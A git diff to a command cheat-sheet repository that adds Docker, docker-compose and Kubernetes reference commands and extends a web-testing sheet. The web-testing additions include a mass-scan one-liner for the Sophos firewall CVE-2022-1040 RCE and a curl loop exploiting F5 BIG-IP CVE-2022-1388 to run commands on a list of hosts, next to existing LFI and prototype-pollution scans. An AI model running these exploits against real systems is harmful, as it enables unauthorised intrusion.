diff --git a/CheatSheets.png b/CheatSheets.png new file mode 100644 index 0000000..5c05196 Binary files /dev/null and b/CheatSheets.png differ diff --git a/README.md b/README.md index 157876a..5f15f7f 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ # cheat.sheets A directory of cheat sheets to use with TLDR, cheat.sh, or Navi. - +![](CheatSheets.png) ## Installing 1. Install `fd-find fzf` if you don't have them: diff --git a/docker.cheat b/docker.cheat new file mode 100644 index 0000000..2cb72a6 --- /dev/null +++ b/docker.cheat @@ -0,0 +1,77 @@ +% docker + +# Remove an image +docker image rm + +# Delete an image from the local image store +docker rmi + +# Clean none/dangling images +docker rmi $(docker images --filter "dangling=true" -q --no-trunc) + +# Force clean none/dangling images +docker rmi $(docker images --filter "dangling=true" -q --no-trunc) -f + +# List all images that are locally stored with the Docker engine +docker images + +# Build an image from the Dockerfile in the current directory and tag the image +docker build -t : . + +# Pull an image from a registry +docker pull : + +# Stop a running container through SIGTERM +docker stop + +# Stop a running container through SIGKILL +docker kill + +# List the networks +docker network ls + +# List the running containers +docker ps + +# Delete all running and stopped containers +docker rm -f $(docker ps -aq) + +# Create a new bash process inside the container and connect it to the terminal +docker exec -it bash + +# Print the last lines of a container's logs +docker logs --tail 100 | less + +# Print the last lines of a container's logs and following its logs +docker logs --tail 100 -f + +# Create new network +docker network create + +$ image_id: docker images --- --headers 1 --column 3 +$ container_id: docker ps --- --headers 1 --column 1 + + + +% docker-compose + +# Builds, (re)creates, starts, and attaches to containers for all services +docker-compose up + +# Builds, (re)creates, starts, and dettaches to containers for all services +docker-compose up -d + +# Builds, (re)creates, starts, and attaches to containers for a service +docker-compose up -d + +# Builds, (re)creates, starts, and dettaches to containers for a service +docker-compose up -d + +# Print the last lines of a service’s logs +docker-compose logs --tail 100 | less + +# Print the last lines of a service's logs and following its logs +docker-compose logs -f --tail 100 + +# Stops containers and removes containers, networks created by up +docker-compose down diff --git a/file_transfer.cheat b/file_transfer.cheat index 538f83b..31f6742 100644 --- a/file_transfer.cheat +++ b/file_transfer.cheat @@ -10,4 +10,3 @@ scp your_username@remoteIP: /some/local/directory # Copy local directory to remote directory scp -r your_username@remoteIP:/some/remote/directory/ - diff --git a/kubernetes.cheat b/kubernetes.cheat index 0679641..34cd686 100644 --- a/kubernetes.cheat +++ b/kubernetes.cheat @@ -16,3 +16,70 @@ sudo apt-get install helm # disable node spawning on master(s) kubectl get nodes -o wide | grep master | cut -d ' ' -f 1 | xargs -I {} kubectl taint nodes {} node-role.kubernetes.io/master=:NoSchedule + + + +# Print all contexts +kubectl config get-contexts + +# Print current context of kubeconfig +kubectl config current-context + +# Set context of kubeconfig +kubectl config use-context + +# Print resource documentation +kubectl explain + +# Get nodes (add option '-o wide' for details) +kubectl get nodes + +# Get namespaces +kubectl get namespaces + +# Get pods from namespace (add option '-o wide' for details) +kubectl get pods -n + +# Get pods from all namespace (add option '-o wide' for details) +kubectl get pods --all-namespaces + +# Get services from namespace +kubectl get services -n + +# Get details from resource on namespace +kubectl describe / -n + +# Print logs from namespace +kubectl logs -f pods/ -n + +# Get deployments +kubectl get deployments -n + +# Edit deployments +kubectl edit deployment/ -n + +# Drain node in preparation for maintenance +kubectl drain + +# Mark node as schedulable +kubectl uncordon + +# Mark node as unschedulable +kubectl cordon + +# Display resource (cpu/memory/storage) usage +kubectl top + +# List the namespaces in the current context +kubens + +# Change the active namespace of current context +kubens + +# Switch to the previous namespace in this context +kubens - + +# Show the current namespace +kubens -c + +$ namespaces: kubens --- --headers 1 --column 3 diff --git a/web_testing.cheat b/web_testing.cheat index 1a0980f..ce52df6 100644 --- a/web_testing.cheat +++ b/web_testing.cheat @@ -23,3 +23,9 @@ gau | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c ' # Find Prototype Pollution subfinder -d -all -silent | httpx -silent -threads 300 | anew -q alive.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' alive.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE" + +# Sophos Firewall CVE-2022-1040 (RCE) +cat sophos_servers | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done; + +# Exploit F5 Big IP Using Curl - CVE-2022-1388 +cat ips.txt | while read ip; do curl -su admin -H "Content-Type: application/json" http://$ip/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}';done